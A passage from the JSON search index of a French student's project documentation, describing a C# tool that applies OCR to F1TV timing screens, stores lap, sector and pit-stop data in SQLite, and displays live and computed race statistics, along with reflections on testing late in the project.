Je ne l'ai utilis\u00e9 que pour les temps au tour car ce sont les plus r\u00e9calcitrants. Cette methode a besoin d'une image pass\u00e9e en noir et blanc au pr\u00e9alable \u00e0 laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajout\u00e9s \u00e0 l'image on peut ensuite calculer le \"Gradient\" pour cr\u00e9er les bords. Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses d\u00fb \u00e0 la nature des matrices donn\u00e9es. Voici un exemple de ce dont cette m\u00e9thode est capable : Artefacts de la detection de bords de Sobel Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':'","title":"Petit point r\u00e9solution"},{"location":"index.html#traitement-des-donnees","text":"C'est bien gentil de recevoir des r\u00e9sultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas tr\u00e8s constants et demandent d'\u00eatre verifi\u00e9s pour savoir si ils doivent \u00eatre pris en compte. Le post traitement de ces donn\u00e9es d\u00e9pend compl\u00eatement du contexte et donc il est diff\u00e9rent pour chque type de window. Voici un floril\u00e8ge des diff\u00e9rents types de traitements : Traitement du nom de pilote Rien de plus que ce qui est d\u00e9ja d\u00e9taill\u00e9 dans la partie OCR Traitement des pneus Pareil Traitement des temps La par contre c'est int\u00e9ressant. Dans un monde parfait je pourrais simplement prendre les r\u00e9sultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autoris\u00e9es on ne peut pas. Le probl\u00e8me vient du fait que les temps que l'on peut trouver sur la F1TV sont encod\u00e9s avec des '.' et des ':' qui determinent les limites entre les chiffres qui d\u00e9signent les minutes, les secondes et les milisecondes. Et le soucis avec ces s\u00e9parateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubli\u00e9s ou pris en double c'est un enfer. Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouv\u00e9 de meilleur moyen que de faire du cas par cas. Cela peut para\u00eetre simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres apr\u00e8s. Il est donc facile de voir que si je trouve six chiffres et pas de s\u00e9paration le troisi\u00e8me est le s\u00e9parateur mal compris. Mais l'exemple qui d\u00e9truit vraiment tout c'est les \u00e9carts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un \u00e9cart avec le leader ca peut \u00eatre 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...? Souvent on peut quand m\u00eame d\u00e9duire mais cela demande de pr\u00e9voir presque tous les cas limites ce qui est assez p\u00e9nible. On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un \u00e9cart prenne d'un coup une grosse diff\u00e9rence. Cela arrive m\u00eame assez souvent quand des pilotes sortent de la piste. \"Exemple temps au tour\" \"Exemple temps secteur\" Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement suppl\u00e9mentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au del\u00e0 de l'OCR","title":"Traitement des donn\u00e9es"},{"location":"index.html#stockage-des-donnees","text":"Dans ce projet le but n'est pas simplement de trouver les donn\u00e9es et les afficher. L'int\u00e9r\u00eat de les r\u00e9cup\u00e8rer est de pouvoir les comparer \u00e0 d'autres donn\u00e9es pr\u00e9c\u00e9dentes. Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les \u00e9volutions. On ne peut voir que des \"photos\" de la situation actuelle de la course. Il faut donc garder en m\u00e9moire les diff\u00e9rentes choses qui se sont pass\u00e9es. Techniquement on pourrait stocker ces donn\u00e9es dans de b\u00eates listes C#. Mais le soucis avec ca c'est que m\u00eame si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes. Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-\u00eatre pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus int\u00e9ressantes qui demandent de faire des requ\u00eates complexe rapidement. Je me suis dit que la meilleure methode serait d'avoir une base de donn\u00e9e dans laquelle je peux faire des requ\u00e8tes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir \u00e0 g\u00e8rer un serveur de base de donn\u00e9e et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE. \"Logo Sqlite\" ; SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidit\u00e9 et d'utilisation de requetes SQl. J'ai cr\u00e9\u00e9 trois tables dans cette base de donn\u00e9e SQLITE que voici :","title":"Stockage des donn\u00e9es"},{"location":"index.html#base-de-donnee","text":"Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL La table Drivers sert juste \u00e0 stocker les diff\u00e9rents noms de pilote pour qu'ils soient utilis\u00e9s dans le reste de la DB La table Pitstops n'est pas vraiment utilis\u00e9e dans l'\u00e9tat actuel du projet. Mais le but \u00e9tait de la remplir d\u00e8s que le programme d\u00e9tectais un arr\u00eat aux stands. Le but est ensuite de pouvoir construire un classement pond\u00e8r\u00e9 en fonction des arr\u00eats des diff\u00e9rents pilotes et d'afficher la stats tout le temps sur l'affichage principal. Elle n'est pas vraiment utilis\u00e9e car la detection de pitstop n'a pas pu \u00eatre commpl\u00eat\u00e9e. De par la nature des donn\u00e9es r\u00e9cup\u00e8r\u00e9es des pneus et des positions, c'est tr\u00e8s difficile de detecter avec prescision un arr\u00eat aux stands. La table Stats est la plus importante car elle contient toutes les informations concernant les pilotes \u00e0 chaque tour. L'id\u00e9e est qu'elle soit remplie \u00e0 chaque tour. Les infos ne sont pas scens\u00e9e \u00eatre les infos live mais plut\u00f4t juste une photo \u00e0 chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des donn\u00e9es comme le GapToLeader peuvent \u00e9voluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus.","title":"Base de donn\u00e9e"},{"location":"index.html#quand-remplir-la-base","text":"Dans ce projet il y a deux type d'information. Les informations live qui sont stock\u00e9es dans des listes et les informations long terme qui sont stock\u00e9es dans la DB. A chaque it\u00e9ration de l'OCR, les donn\u00e9es r\u00e9cup\u00e8r\u00e9es sont stock\u00e9es dans une liste de DRIVERDATA. Les DRIVERDATA sont des structures de donn\u00e9es qui contiennent toutes les infos d'un pilote \u00e0 un instant T. Elles peuvent \u00eatre incompl\u00eates et sont juste la pour faire de petits calculs et determiner quand ins\u00e8rer des donn\u00e9es permanentes. Ce qui nous am\u00e8ne au moment int\u00e9ressant. Comment on d\u00e9termine quand il est int\u00e9ressant d'ins\u00e8rer des informations dans la base de donn\u00e9es. Il y a deux cas de figure ou on pourrait vouloir ins\u00e8rer des infos :","title":"Quand remplir la base ?"},{"location":"index.html#quand-un-pilote-a-finit-un-tour","text":"En effet, j'ai estim\u00e9 que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour \u00e0 l'autre. Le raisonnement est le suivant : On ne veut pas conserver TOUTES les donn\u00e9es car si on prend une phot toutes les trois secondes, la majorit\u00e9 des informations seront redondantes avec les pr\u00e9c\u00e9dentes. Mais en m\u00eame temps il ne faut pas rater des changements importants de donn\u00e9es. Les seules donn\u00e9es qui changent entre deux passages de l'OCR sont les \u00e9carts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour \u00e0 l'autre presque toutes les informations changent. Et on ne perd que les l\u00e9g\u00e8res fluctuations des \u00e9carts entre les pilotes. J'ai donc d\u00e9cid\u00e9 de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficult\u00e9 : Comment savoir qu'un pilote a fait son tour ? Cela peut para\u00eetre simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut \u00eatre dans son 26\u00e8me tour pendant qu'un autre en est \u00e0 son 24\u00e8me. Chaque pilote a sa propre course et au fur et \u00e0 mesure que les \u00e9carts se creusent il peut y avoir un tour voir plusieurs d'\u00e9cart entre la queue de course et les premiers pilotes. Ensuite il faut savoir qu'il n'est pas marqu\u00e9 sur la f1TV dans quel tour chaque pilote est. Il faut donc le d\u00e9duire en fonction des Data. Voici le code le if qui d\u00e9tecte un nouveau tour if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { //Do stuff } DriverDataLogs est une liste de liste d'informations de pilotes. Chaque DriverDataLogs repr\u00e9sente les 20 photos des donn\u00e9es des pilotes. Cela veut dire que DriverDataLogs[3] repr\u00e9sente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] repr\u00e9sente toutes les infos du premier pilote dans le tour 3. Si on analyse un peu ce qui est \u00e9crit avec ces informations, on peut voir que je d\u00e9termine qu'un nouveau tour se d\u00e9finis comme une photo ou le troisi\u00e8me secteur a \u00e9t\u00e9 compl\u00eat\u00e9 et ou il ne l'\u00e9tait pas juste avant. Cela fait sens car quand un pilote compl\u00eate son troisi\u00e8me secteur c'est la que son dernier temps au tour se met \u00e0 jour. Le reste des tests est juste la pour \u00e9viter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions tr\u00e8s sp\u00e9cifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour.","title":"Quand un pilote a finit un tour"},{"location":"index.html#quand-un-pilote-a-fait-un-arret-aux-stands","text":"Et la on touche le plus difficile. Pourtant un arr\u00eat aau stand ne devrait pas \u00eatre compliqu\u00e9 \u00e0 detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le m\u00eame type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait. Sauf que il faut ajouter \u00e0 cette reflexion qu'un pneu peut \u00eatre chauss\u00e9 sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a chang\u00e9 de pneus quand ses pneus sont \u00e0 1 tour. Il peut tr\u00e8s bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes. En plus quand le pilote change de pneus il y a un phenomene assez p\u00e9nible qui fait que les deux premiers tours faits avec ne sont pass vraiment d\u00e9chiffrables car ils sont un peu cach\u00e9s derri\u00e8re la lettre qui indique le nouveau pneu chauss\u00e9. Exemple : \"Infographie de pneu qui se chevauche\" Voici le code que j'avais \u00e9crit pour tenter de trouver quand un pilote avait fait un pitstop : if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { //Do stuff } On peut voir que j'essaie de detecter quand le pneu est \u00e0 0 tours (ce qui est le moment ou il y a une lettre \u00e0 la place d'un num\u00e9ro de tour) et que la photo d'avant montrait un pneu normal. On v\u00e9rifie aussi que le pneu a bien \u00e9t\u00e9 detect\u00e9 en verifiant que le pneu n'est pas de type undefined. Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance \u00e0 cette metric. Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout am\u00e9liorer l'OCR sur ce point. Ce soucis mets en lumi\u00e8re un principe assez important de l'informatique \"Ggarbage in, Garbage out\". Si les donn\u00e9es que je recoit ne sont pas g\u00e9niales, le r\u00e9sultat ne sera pas g\u00e9nial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derri\u00e8re un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux.","title":"Quand un pilote a fait un arr\u00eat aux stands"},{"location":"index.html#affichage-des-donnees","text":"Maintenant que l'on a stock\u00e9 toutes ces donn\u00e9es, il faut en faire quelque chose sinon ca ne sert a rien. Afficher les donn\u00e9es est techniquement la partie la plus simple du projet. Il faut prendre les donn\u00e9es qui nous int\u00e9ressent de la base de donn\u00e9es et des r\u00e9sultats de l'OCR et les afficher sur des composants Windows Forms. Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois pr\u00e9vus initialement :","title":"Affichage des donn\u00e9es"},{"location":"index.html#affichage-direct","text":"L'affichage direct est simplement l'affichage du r\u00e9sultat de l'OCR. Par exemple le classement live ainsi que les \u00e9carts entre les pilotes sont affich\u00e9s directement depuis les r\u00e9sultats de l'OCR. Ce ne sont pas forc\u00e9ment des donn\u00e9es prises dans la base de donn\u00e9e. Voici un exemple : for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { DriverData driver = liveData [ driverCount ]; lblDriverName . Text = driver . Name ; lblDriverPosition . Text = driver . Position ; lblDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); } C'est l'affichage le plus simple et celui qui est le plus soumis \u00e0 des erreurs. En effet, si un pilote est mal detect\u00e9 on le verra directement mal s'afficher dans la Form principale. C'est \u00e9galement l'affichage le moins int\u00e9ressant car il ne cr\u00e9e aucune information, il ne fait que remontrer les infos que l'on peut d\u00e9ja voir dans la F1TV \"Exemple d'affichage live\"","title":"Affichage direct"},{"location":"index.html#affichage-calcule","text":"La encore il y a plusieurs types d'affichages :","title":"Affichage calcul\u00e9"},{"location":"index.html#affichage-hybride","text":"Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donn\u00e9e. Ils ne font pas de calculs \u00e0 proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils repr\u00e9sentent un d\u00e9but de plusvalue par rapport \u00e0 l'alternative qu'est la page DATA de la F1TV. Ils ne sont pas beaucoup plus durs \u00e0 impl\u00e9menter mais demandent de faire des requ\u00eates \u00e0 la base de donn\u00e9e. Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV \u00e0 moins d'avoir une excellente m\u00e9moire. \"Fen\u00eatre d'informations \u00e0 propos d'un pilote\" Voici un exemmple du type de code necessaire pour afficher ce genre de donn\u00e9es: public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } return lapData ; } public void Display (){ List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ){ Labels [ id ]. Text = LapTime ; id ++; } } Note: Le code montr\u00e9 ici n'est pas forc\u00e9ment le code utilis\u00e9 dans le projet. D'une certaine facon les fen\u00eatres de bataille et de d\u00e9passements sont aussi des hybrides. \"Exemple fen\u00eatre des batailles\" Ici ce sont les batailles qui sont repr\u00e9sent\u00e9es. Aucune donn\u00e9e n'est calcul\u00e9e, c'est litterallement directement les donn\u00e9es de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon \u00e0 quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs. Pour info, les pilotes consid\u00e8r\u00e9s comme \u00eatant en train de se battre sont les pilotes \u00e0 moins de trois secondes les uns des autres et les couleurs sont suivantes : Vert : Dans la zone de DRS (Moins d'une seconde) Jaune : Plus d'une seconde Noir : Plus de deux secondes \"Exemple fen\u00eatre des d\u00e9passements\" La c'est l'historique des d\u00e9passements qui est affich\u00e9. On pourrait presque dire que c'est un affichage compl\u00eatement calcul\u00e9 car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les diff\u00e9rences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements.","title":"Affichage Hybride"},{"location":"index.html#affichage-totalement-calcule","text":"L'affichage compl\u00eatement calcul\u00e9 est un type d'affichage qui ne montre aucune information trouv\u00e9e sur la page de la F1TV. C'est le premier affichage \u00e0 traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages pr\u00e9dictif est qu'il ne cr\u00e9e pas r\u00e9ellement de l'information, il la d\u00e9duit. Le but est de prendre un certain nombre d'informations trouv\u00e9es sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances \u00e0 l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos d\u00e9duites que techniquement unn humain avec une bonne m\u00e9moire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affich\u00e9 de sorte \u00e0 faire ressortir les valeurs sp\u00e9ciales. Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots. \"Exemple de fen\u00eatre d'informations totalement calcul\u00e9es\" Ci dessus on peut voir un bon exemple. C'est une fen\u00eatre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la diff\u00e9rence de temps au tour. Cette information est totalement d\u00e9duite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas invent\u00e9e. Elle est simplement calcul\u00e9e. La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'\u00e9cart. C'est une stat assez int\u00e9ressante car elle lisse les diff\u00e9rences d'un tour \u00e0 l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus int\u00e9ressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chauss\u00e9 les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux. Voici un bout de code qui s'occupe de faire les calculs : List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } }","title":"Affichage totalement calcul\u00e9"},{"location":"index.html#affichage-predictif","text":"C'est ici que ca devient vraiment dommage, le projet a mannqu\u00e9 de temps pour impl\u00e9menter des affichages pr\u00e9dictifs mais le potentiel est la ! Un affichage pr\u00e9dictif est un affichage qui cr\u00e9e des informations \u00e0 partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose. Voici des exemples d'affichages pr\u00e9dictifs qui pourraient \u00eatre mis en place averc l'architecture actuelle du projet : Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-\u00eatre devoir s'arr\u00eater. Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est \u00e0 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours. Si un arr\u00eat au stand est en moyenne de 23 secondes, alors un pilote 3\u00e8me ressortirais potentiellement 7\u00e8me si il s'arr\u00eate maintenant. Tous ces exemples sont des mini algorythmes pr\u00e9dictifs qui pourraient \u00eatre impl\u00e9ment\u00e9s assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien param\u00eatr\u00e9s. On peut m\u00eame imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir. Les possibilit\u00e9es sont infinies !","title":"Affichage pr\u00e9dictif"},{"location":"index.html#tests","text":"Alors la on arrive \u00e0 la GROSSE erreur de ce projet... Si je ne pouvais changer qu'une seule chose \u00e0 ma facon de faire le projet apr\u00e8s coup c'est ici que je ferai le changement. Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de v\u00e9rifier que du nouveau code est performant et est beaucoup plus pratique \u00e0 utiliser. Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaill\u00e9 diff\u00e9remment vis-a-vis des tests.","title":"Tests"},{"location":"index.html#comment-ca-cest-passe","text":"D\u00e8s la cr\u00e9ation du planning pr\u00e9visionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laiss\u00e9 que tr\u00e8s peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particuli\u00e8rement vuln\u00e9rables si une t\u00e2che du chemin critique est retard\u00e9e. En fait dans ce projet je voulais surtout \u00e9viter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est \u00e0 dire que je ne voulais surtout pas oublier la doc. Alors j'ai agenc\u00e9 le projet pour commencer par les fondations de la doc, puis en incluant les p\u00e9riodes de programmation et entre ces derni\u00e8re ajouter des Tests dans les trous. Le soucis c'est que du coup les projets \u00e9taient un peu le dernier truc dont je devais me soucier ce qui a \u00e9t\u00e9 une tr\u00e8s mauvaise id\u00e9e. Je me suis retrouv\u00e9 \u00e0 devoir mordre sur les jours de tests car les t\u00e2ches de programmation mettaient plus de temps que pr\u00e9vu (qui elles-m\u00eame auraient p\u00fb \u00eatre plus courte avec une bonne utilisation des tests) et je mme suis retrouv\u00e9 \u00e0 passer outre les tests pour avancer sur le reste du projet. J'ai donc du en panique \u00e0 la toute fin du projet construire quelques tests \"unitaires\" dont l'utilit\u00e9 est tr\u00e8s limit\u00e9e car tout le travail a d\u00e9ja \u00e9t\u00e9 fait et que vu la complexit\u00e9 qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqu\u00e9 pour valoir le coup. Les seuls tests \"unitaires\" (Je l'\u00e9cris entre quotes car ce ne sont pas vraiment des tests unitaires mais plut\u00f4t des tests tout courts car ils ne sont pas sp\u00e9cifiques) qu'il y a dans le projet final sont des tests exclusivement tourn\u00e9s sur l'OCR. Ils sont d\u00e9ja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les r\u00e9sultats sont meilleurs ou non mais c'est juste un peu trop tard quoi... Les tests unitaires que j'ai impl\u00e9ment\u00e9s sont un peu tous pareils au niveau du fonctionnement : On choisit une image dans une liste d'images pr\u00e9par\u00e9es qui sont scens\u00e9e repr\u00e9senter le type de donn\u00e9es rencontr\u00e9es par l'application en temps normal On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui \u00e9tait marqu\u00e9 sur l'image On fait un coup d'OCR sur l'image et on compare ce r\u00e9sultat avec la valeur que l'on est scens\u00e9 retrouver En pratique on est sur un code de ce style : [TestMethod()] public void SectorOCR_Test () { string directory = @\"./../../TestImages/Sectors/\" ; foreach ( string file in Directory . GetFiles ( directory )) { Bitmap image = ( Bitmap ) Image . FromFile ( file ); DriverSectorWindow sectorsWindow = new DriverSectorWindow ( image , new Rectangle ( 0 , 0 , image . Width , image . Height ), 1 , true ); string [] paths = file . Split ( '/' ); string fileName = paths [ paths . Length - 1 ]; fileName = fileName . Replace ( \".png\" , \"\" ); int timeMS = ( int ) sectorsWindow . DecodePng (); string time = Reader . ConvertMsToTime ( timeMS ); string [] checkDigits = fileName . Split ( '_' ); string [] digitsToCheck = time . Split ( ':' ); if ( time == \"0:00:000\" ) { Assert . AreEqual ( 0 , Convert . ToInt32 ( checkDigits [ 0 ])); } else { //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars while ( checkDigits . Length != 3 ) checkDigits = new [] { \"0\" }. Concat ( checkDigits ). ToArray (); for ( int i = 0 ; i < checkDigits . Length ; i ++) { //We need to convert to int first because sometimes we have \"08\" and \"8\" and in string its not the same but in int it is Assert . AreEqual ( Convert . ToInt32 ( checkDigits [ i ]), Convert . ToInt32 ( digitsToCheck [ i ])); } } } } Tout le code suppl\u00e9mentaire qui ne fait pas partie des \u00e9tapes cit\u00e9es est juste la pour manipuler le format des r\u00e9sultats pour qu'il soit comparable. \"Exemple d'\u00e9chantillons pour les tests\" Ce qui est pratique avec cette approche c'est qu'il est tr\u00e8s facile de rajouter des cas sp\u00e9cifiques et voir comment le programme les g\u00e8re. Si je vois que un certain nombre est souvent mal reconnu je peux faire expr\u00e8s de le mettre dans le dossier et modifier mon code d'OCR jusqu'\u00e0 ce que le test passe. Si j'avais eu plus de temps j'aurais s\u00fbrement pu ajouter de vrais tests unitaires qui testent des fonctions tr\u00e8s pr\u00e9cises. Par exemple verifier que les diff\u00e9rentes Windows sont bien appel\u00e9es et que les zones se cr\u00e9ent correctement ou m\u00eame plus simplement que la lecture du JSON au d\u00e9marrage marche bien. Il faut savoir que m\u00eame si je n'ai pas eu l'occasion d'\u00e9crire beaucoup de tests sous forme de code. Toute la phase de d\u00e9veloppement de l'OCR j'ai pass\u00e9 plus d'une heure par jour \u00e0 analyser les r\u00e9sultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de r\u00e9sultats pour isoler ceux qui posaient probl\u00e8me. C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 \u00e9taient souvent confondus. Donc m\u00eame si les tests automatis\u00e9s sont clairement insuffisant par rapport \u00e0 ce que j'aurais peut-\u00eatre du faire, j'ai pass\u00e9 \u00e9norm\u00e9ment de temps \u00e0 tester mon application.","title":"Comment ca c'est pass\u00e9"},{"location":"index.html#comment-ca-aurait-du-se-passer","text":"Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la m\u00eame technique que pour la doc. J'aurais mis les t\u00e2ches de Tests directement au d\u00e9but du projet et j'aurais determin\u00e9 le squelette de l'application par la m\u00eame occasion. Je pense que j'aurais mis trois jours pour \u00e9crire tous les tests dont j'aurais besoin et j'aurais fait une strat\u00e9gie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet. J'aurais pris je pense 5 une dixaine d'images compl\u00eates de la F1TV de plusieurs GP diff\u00e9rents et j'aurais mis toutes les fen\u00eatres d\u00e9coup\u00e9es dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura r\u00e9ussi \u00e0 passer tous les tests. Cela r\u00e8glerait le soucis que j'ai eu le plus : Me retrouver \u00e0 devoir changer l'OCR 5 fois par ce que \u00e0 chaque fois que je d\u00e9veloppe une nouvelle feature je me rends compte d'une faiblesse mon algorythme... Non seulement j'aurai eu beaucoup plus de facilit\u00e9 \u00e0 avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner \u00e9norm\u00e9ment de temps non seulement car je n'ai plus \u00e0 tester tout \u00e0 la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais \u00e0 m'en soucier.","title":"Comment ca aurait du se passer"},{"location":"index.html#lecons","text":"Je pense que dans mes futurs projets je mettrai les tests en d\u00e9but de projet plut\u00f4t que \u00e0 la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer \u00e0 c\u00f4t\u00e9 sous pretexte que \"Je n'ai pas le temps\". Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous emp\u00eachent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de s\u00e9r\u00e9nit\u00e9 incontournable.","title":"Lecons"},{"location":"index.html#resume-des-difficultes-techniques","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"R\u00e9sum\u00e9 des difficult\u00e9s techniques"},{"location":"index.html#optimisation-du-programme","text":"[A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation]","title":"Optimisation du programme"},{"location":"index.html#ethique-du-projet","text":"[A 